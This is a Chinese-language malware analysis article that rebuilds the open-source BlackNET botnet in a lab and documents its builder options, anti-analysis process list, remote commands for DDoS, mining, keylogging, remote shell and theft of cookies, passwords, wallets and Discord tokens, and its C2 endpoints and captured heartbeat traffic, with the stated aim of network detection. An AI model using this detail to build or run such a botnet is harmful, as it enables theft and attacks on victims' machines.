文章首发地址:
https://xz.aliyun.com/t/15345
文章首发作者:
T0daySeeker
概述
在上一篇《针对LOL玩家的最新钓鱼活动剖析-大量国内玩家受控》文章中,笔者对最新针对LOL玩家的钓鱼攻击活动进行了详细的技术剖析,在技术剖析的过程中,笔者发现攻击活动中使用的木马程序原来均是由开源项目构建生成。为了能够更详细的对攻击活动中的各环节进行详细的剖析,笔者选择先就其中的BlackNET僵尸网络项目进行剖析。
在对BlackNET僵尸网络进行剖析的过程中,笔者发现:
-
可基于源码模拟构建BlackNET僵尸网络的WEB面板控制端和远控木马端; -
BlackNET远控木马支持反虚拟机、反调试、网络传播、文件捆绑等多种自定义配置; -
BlackNET远控木马支持下发DDOS攻击、挖矿木马、远程shell等39个远控指令; -
BlackNET僵尸网络支持基于HTTP、HTTPS通信上线,通信数据存在一定的通信特征,可基于网络流量对其进行监控。
BlackNET僵尸网络框架
模拟构建
BlackNET僵尸网络框架分为WEB面板控制端和远控木马编译器。
WEB面板控制端支持功能如下:
-
对僵尸网络木马进行管理,下发远控指令 -
日志记录
WEB面板控制端运行页面如下:
远控木马编译器支持对木马程序进行自定义配置。远控木马编译器运行截图如下:
框架目录剖析
尝试对BlackNET僵尸网络框架的目录结构进行剖析,梳理发现:
-
WEB面板控制端 -
plugins目录下存在多个可疑文件:FileSearcher.dll、PasswordStealer.dll、PluginExample.dll、xmrig.exe -
xmrig.exe:挖矿程序 -
远控木马编译器 -
stub.exe:原始木马程序,编译时将基于此木马程序进行修改生成 -
watcher.exe:守护程序,用于启动Client.exe木马程序
WEB面板控制端源码截图如下:
远控木马编译器目录截图如下:
BlackNET攻击场景复现
生成木马
根据远控木马编译器可实现自定义木马程序配置:
-
Main Settings: -
BN URL:C&C地址 -
Victim ID:上线ID -
MUTEX:互斥对象 -
Spiltter:用于拆分上线信息的字符串 -
Persistence:持久化配置 -
Add to Startup、Add to Scheduled tasks:自启动 -
Stealth Mode:安装至指定目录 -
Enable Watchdog:守护程序 -
Delay Execution:延迟执行 -
Critical Process -
Extra Features:功能配置 -
Dropbox Spread、OneDrive Spread、USB Spread:传播方式 -
Elevate UAC:使用UAC提升权限 -
Anti-Debugging:反调试 -
Bypass VM:反虚拟机 -
AES Encryption:加密BN URL配置信息 -
StartKeylogger:键盘记录 -
Disable WD:关闭Windows Defender -
Debug Mode:调试模式 -
Binder Settings:文件捆绑并运行 -
Downloader:外链下载并运行 -
Icon Changer:自定义图标 -
Compile Client:.EXE、.BAT、.CMD、.SCR、.PIF(笔者拿到的版本有问题,无法生成EXE格式以外的文件)
相关截图如下:
木马上线
在受控主机上直接运行Client.exe木马程序,即可实现木马上线。上线成功后的WEB面板控制端运行页面如下:
基于WEB面板控制端,即可实现向指定僵尸网络木马下发远控指令,相关截图如下:
BlackNET木马详细剖析
配置信息
通过分析,发现Client.exe木马程序的MainController类中存放了木马程序的配置信息,相关代码截图如下:
进一步分析,梳理BlackNET Builder编译器中的配置信息与远控木马中的配置信息对应关系列表如下:
BlackNET Builder配置页面 | 配置信息 | 备注 |
---|---|---|
Main Settings -> BN URL | Host | C&C地址 |
Main Settings -> Delay Execution | DelayCodeStatus | 延迟执行 |
Main Settings -> Delay Execution | DelayCodeTime | 延迟执行 |
Main Settings -> Spiltter | Y | 用于拆分上线信息的字符串 |
Main Settings -> Victim ID | ID | 上线ID |
Persistence -> Add to Scheduled tasks | ASchtask | 自启动 |
Persistence -> Add to Startup | Startup | 自启动 |
Persistence -> Enable Watchdog | WatcherStatus | 守护程序 |
Persistence -> Stealth Mode | HardInstall | 安装至指定目录 |
Persistence -> Stealth Mode | StartName | 安装至指定目录 |
Persistence -> Stealth Mode | InstallName | 安装至指定目录 |
Persistence -> Stealth Mode | PathS | 安装至指定目录 |
Extra Features -> AES Encryption | AESKey | 加密BN URL |
Extra Features -> AES Encryption | AESStatus | 加密BN URL |
Extra Features -> Anti-Debugging | BypassScanning | 反调试 |
Extra Features -> Bypass VM | AntiVM | 反虚拟机 |
Extra Features -> Critical Process | EnableCP | |
Extra Features -> Debug Mode | DebugMode | 调试模式 |
Extra Features -> Disable WD | BypassWD | 关闭Windows Defender |
Extra Features -> Dropbox Spread | DBSpread | 传播方式 |
Extra Features -> Elevate UAC | ElevateUAC | 使用UAC提升权限 |
Extra Features -> OneDrive Spread | ODSpread | 传播方式 |
Extra Features -> StartKeylogger | KeyloggerOnRun | 键盘记录 |
Extra Features -> USB Spread | USBSpread | 传播方式 |
Binder Settings | BinderStatus | 文件捆绑并运行 |
Binder Settings | DropperPath | 文件捆绑并运行 |
Downloader | DownloaderStatus | 外链下载并运行 |
Downloader | DownloaderPath | 外链下载并运行 |
AES Encryption
通过分析,若自定义配置了AES Encryption选项,则样本运行后,将调用AES算法解密获取C&C地址,梳理AES解密流程如下:
-
配置信息中的AESKey数据将用于PBKDF2算法的输入,通过迭代计算生成AES算法的IV值和KEY值; -
使用Base64解码加密数据; -
使用AES CBC解密外链C&C;
CyberChef解密流程如下:
相关代码截图如下:
Enable Watchdog
通过分析,若自定义配置了Enable Watchdog选项,则样本将释放watcher.exe程序,用于实现进程守护,当watcher.exe程序运行后:
-
将根据文件描述信息”Windows Update Assistant”在watcher.exe程序目录下查找Client.exe木马程序; -
若进程列表中无Client.exe木马程序,则加载运行Client.exe木马程序;
相关代码截图如下:
Client.exe木马程序属性信息截图如下:
BypassScanning
通过分析,若自定义配置了Anti-Debugging选项,则样本将通过多种方式检测系统环境:
-
运行进程检测:procexp,SbieCtrl,SpyTheSpy,SpeedGear,wireshark,mbam,apateDNS,IPBlocker,cports,ProcessHacker,KeyScrambler,Tcpview,smsniff,exeinfoPE,regshot,RogueKiller,NetSnifferCs,taskmgr,Reflector,capsa,NetworkMiner,AdvancedProcessController,ProcessLassoLauncher,ProcessLasso,SystemExplorerApateDNS,Malwarebytes Anti-Malware,Malwarebytes Anti-Malware,TCPEye,SmartSniff,Active Ports,ProcessEye,MKN TaskExplorer,CurrPorts,System Explorer,DiamondCS Port Explorer,VirusTotal,Metascan Online,Speed Gear,The Wireshark Network Analyzer,Sandboxie Control,ApateDNS,.NET Reflector -
检测系统盘是否过小 -
检测是否是XP环境 -
检测是否是vmware或VirtualBox环境 -
检测当前进程是否正在被调试 -
检测是否是Sandboxie环境
相关代码截图如下:
DownloaderStatus
通过分析,若自定义配置了Binder Settings选项,则样本将从资源段中释放捆绑程序并运行。相关代码截图如下:
DownloaderStatus
通过分析,若自定义配置了Downloader选项,则样本将从外链下载载荷文件并运行。相关代码截图如下:
远控功能
通过分析,梳理WEB面板控制端与远控木马中的远控指令对应关系列表如下:
WEB面板控制端 | 远控木马中的远控指令 | 备注 |
---|---|---|
Client Commands -> Ping | Ping | 心跳通信 |
Client Commands -> Show Messagebox | ShowMessageBox | 弹框 |
Client Commands -> Take Screenshot | Screenshot | 截屏 |
Client Commands -> Installed Softwares | InstalledSoftwares | 获取系统安装软件列表 |
Client Commands -> Execute Script | ExecuteScript | 执行脚本 |
Client Commands -> Elevate User Status | Elevate | 以管理员权限重新运行 |
Client Commands -> Execute XMR Miner | XMRMiner | 运行挖矿程序 |
Client Commands -> Clean TEMP Folder | CleanTemp | 清理%TEMP%目录 |
Client Commands -> Send Spam Email | SpamEmail | 使用受控主机发送钓鱼邮件 |
Client Commands -> Execute Custom Plugin | InvokeCustom | 运行插件 |
Client Commands -> Execute Shell Commands | RemoteShell | 执行shell命令 |
Client Commands -> Get a File from System | GetFile | 从被控主机中窃取文件 |
Upload Files -> From Disk | UploadFile | 上传并执行文件 |
Upload Files -> From URL | UploadFile | 上传并执行文件 |
Torrent Seeder -> From Disk | TorrentSeeder | 种子文件 |
Torrent Seeder -> From URL | TorrentSeeder | 种子文件 |
Stealers -> Steal Firefox Cookies | StealCookie | 窃取信息 |
Stealers -> Steal Chrome Cookies | StealChCookies | 窃取信息 |
Stealers -> Steal Bitcoin Wallet | StealBitcoin | 窃取信息 |
Stealers -> Execute Password Stealer | StealPassword | 窃取信息 |
Stealers -> Steal Discord Token | StealDiscord | 窃取信息 |
Stealers -> Steal Clipboard Data | GetClipboard | 窃取信息 |
Open Webpage -> Open Webpage (Visible) | OpenPage | 打开浏览器访问网页 |
Open Webpage -> Open Webpage (Hidden) | OpenHidden | 打开浏览器访问网页 |
DDOS Attack -> Start DDOS | StartDDOS | 支持7种不同方式向指定站点发起DDOS攻击 |
DDOS Attack -> Stop DDOS | StopDDOS | 停止DDOS攻击 |
Keylogger -> Start Keylogger | StartKeylogger | 开启键盘记录 |
Keylogger -> Stop Keylogger | StopKeylogger | 关闭键盘记录 |
Keylogger -> Retreive Logs | RetriveLogs | 上传日志文件 |
Computer Commands -> Shutdown | Shutdown | 关机 |
Computer Commands -> Restart | Restart | 重启 |
Computer Commands -> Logoff | Logoff | 注销 |
Clients Connection -> Close Connection | Close | 关闭连接 |
Clients Connection -> Move Client | MoveClient | |
Clients Connection -> Blacklist IP | Blacklist | 将此受控主机加入黑名单 |
Clients Connection -> Restart Client | Restart | 重启 |
Clients Connection -> Update Client | UpdateClient | 升级 |
Clients Connection -> Uninstall | Uninstall | 卸载 |
StartDDOS
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发DDOS攻击指令:
-
支持DDOS方式如下: -
UDPAttack:ping.Send -
SlowlorisAttack:”POST / HTTP/1.1rnHost: “ -
ARMEAttack:”HEAD / HTTP/1.1rnHost: “ -
TCPAttack:socket.Connect(remoteEP) -
HTTPGetAttack:webClient.DownloadString -
BWFloodAttack:webClient.DownloadString -
PostHTTPAttack:webClient.UploadString
相关WEB面板控制页面截图如下:
相关代码截图如下:
XMRMiner
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发运行挖矿木马的指令。
相关WEB面板控制页面截图如下:
相关代码截图如下:
RemoteShell
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发执行shell命令:
相关WEB面板控制页面截图如下:
相关代码截图如下:
Screenshot
通过分析,发现当样本上线后,攻击者可基于WEB面板控制端向僵尸网络木马下发截屏指令。
相关代码截图如下:
BlackNET通信模型剖析
通过对BlackNET远控木马的通信流量进行抓取,发现其通信存在一定的规律:
-
向C&C发起 check_panel.php
网络请求,用于校验C&C是否存活; -
向C&C发起 connection.php
网络请求,用于上传系统基本信息; -
循环向C&C发起 getCommand.php?id=
网络请求,用于获取远控指令,未设置请求间隔时间,有点类似于心跳请求; -
从C&C接收远控指令,根据远控指令执行对应的远控功能; -
指令执行完后,除个别指令外,其余指令均会向C&C发起 receive.php?command=CleanCommands
网络请求; -
执行部分指令时,需要从C&C下载相关的载荷文件; -
部分指令执行完后,会向C&C发起 upload.php、post.php、remoteshell.php
网络请求,用于上传执行结果;
BlackNET远控木马的各远控指令的通信请求对比情况如下:
远控木马中的远控指令 | 请求php | receive.php?command= | 备注 |
---|---|---|---|
Ping | Pinged | ||
ShowMessageBox | CleanCommands | ||
Screenshot | upload.php | CleanCommands | |
InstalledSoftwares | upload.php | CleanCommands | 上传ProgramList.txt |
ExecuteScript | DeleteScript、CleanCommands | 从C&C下载脚本 | |
Elevate | CleanCommands | ||
XMRMiner | CleanCommands | 从C&C下载挖矿程序 | |
CleanTemp | CleanCommands | ||
SpamEmail | CleanCommands | ||
InvokeCustom | CleanCommands | 从C&C下载插件程序 | |
RemoteShell | remoteshell.php | CleanCommands | |
GetFile | upload.php | CleanCommands | 从C&C下载FileSearcher.dll |
UploadFile | CleanCommands | 从C&C下载程序 | |
TorrentSeeder | CleanCommands | 从C&C下载种子文件 | |
StealCookie | upload.php | CleanCommands | 上传cookies.sqlite |
StealChCookies | upload.php | CleanCommands | 上传CookiesCh.sqlite |
StealBitcoin | upload.php | CleanCommands | 上传wallet.dat |
StealPassword | upload.php | CleanCommands | 从C&C下载PasswordStealer.dll;上传Passwords.txt |
StealDiscord | upload.php | CleanCommands | 上传Token.txt |
GetClipboard | post.php | CleanCommands | |
OpenPage | CleanCommands | ||
OpenHidden | CleanCommands | ||
StartDDOS | CleanCommands | ||
StopDDOS | CleanCommands | ||
StartKeylogger | CleanCommands | ||
StopKeylogger | CleanCommands | ||
RetriveLogs | upload.php | CleanCommands | 上传log日志 |
Shutdown | CleanCommands | ||
Restart | CleanCommands | ||
Logoff | CleanCommands | ||
Close | CleanCommands、Offline | ||
MoveClient | CleanCommands | ||
Blacklist | |||
Restart | CleanCommands | ||
UpdateClient | Uninstall、CleanCommands | 从C&C下载新版本程序 | |
Uninstall | CleanCommands |
使用WEB面板控制端查看上传文件:
URL参数加密
通过分析,发现样本在通信过程中,将对URL参数数据进行编码处理:
-
编码:Base64编码;将 +
替换为-
;将/
替换为_
; -
解码:将 -
替换为+
;将_
替换为/
;Base64解码;
相关代码截图如下:
上线通信
通过分析,发现使用A-Za-z0-9-_
字符集的Base64对上线载荷进行解码,可成功解码上线载荷数据(样本中使用的是A-Za-z0-9+/=
字符集):
#上线载荷
SGFjS2VkX0RFQThCNzA1fEJOfERFQThCNzA1fEJOfFdJTi1KTUtKRU1KQzRPVHxCTnxNaWNyb3NvZnQgV2luZG93cyA3IOaXl-iIsOeJiCB8Qk58SW50ZWwoUikgQ29yZShUTSkgaTctMTA1MTBVIENQVSBAIDEuODBHSHp8Qk58Vk13YXJlIFNWR0EgM0R8Qk58Mi4wMCBHQnxCTnxOL0F8Qk58djMuNy4wIFB1YmxpY3xCTnxPbmxpbmV8Qk58bm98Qk58VXNlcg
#解码数据
HacKed_DEA8B705|BN|DEA8B705|BN|WIN-JMKXXX4OT|BN|Microsoft Windows 7 旗舰版 |BN|Intel(R) Core(TM) XXXXXU CPU @ 1.80GHz|BN|VMware SVGA 3D|BN|2.00 GB|BN|N/A|BN|v3.7.0 Public|BN|Online|BN|no|BN|User
#数据拆分
HacKed_DEA8B705
DEA8B705
WIN-JMKXXX4OT
Microsoft Windows 7 旗舰版
Intel(R) Core(TM) XXXXXU CPU @ 1.80GHz
VMware SVGA 3D
2.00 GB
N/A
v3.7.0 Public
Online
no
User
相关通信载荷截图如下:
心跳通信-获取远控指令
通过分析,发现样本运行后,将循环向C&C发起getCommand.php?id=
网络请求,用于获取远控指令,由于未设置请求间隔时间,因此请求较频繁;
进一步分析,发现心跳通信主要分为:getCommand.php请求数据、getCommand.php响应数据、receive.php请求数据、receive.php响应数据。
由于在未接收远控指令时,上述通信的实际载荷为Ping、Pinged,因此,「通信流量中将存在大量相同载荷长度的通信数据」。
相关心跳数据详情如下:
GET /blacknet/getCommand.php?id=SGFjS2VkX0RFQThCNzA1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Host: 192.168.65.129
#SGFjS2VkX0RFQThCNzA1解码后为:HacKed_DEA8B705
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 15:34:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
6
UGluZw
0
#UGluZw解码后为:Ping
GET /blacknet/receive.php?command=UGluZ2Vk&vicID=SGFjS2VkX0RFQThCNzA1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Host: 192.168.65.129
#UGluZ2Vk解码后为:Pinged
HTTP/1.1 200 OK
Date: Tue, 13 Aug 2024 15:34:44 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Content-Length: 0
Content-Type: text/html; charset=UTF-8
HTTP通信数据包截图如下:
HTTPS通信数据包截图如下:
原文始发于微信公众号(T0daySeeker):BlackNET僵尸网络攻击场景复现及通信模型剖析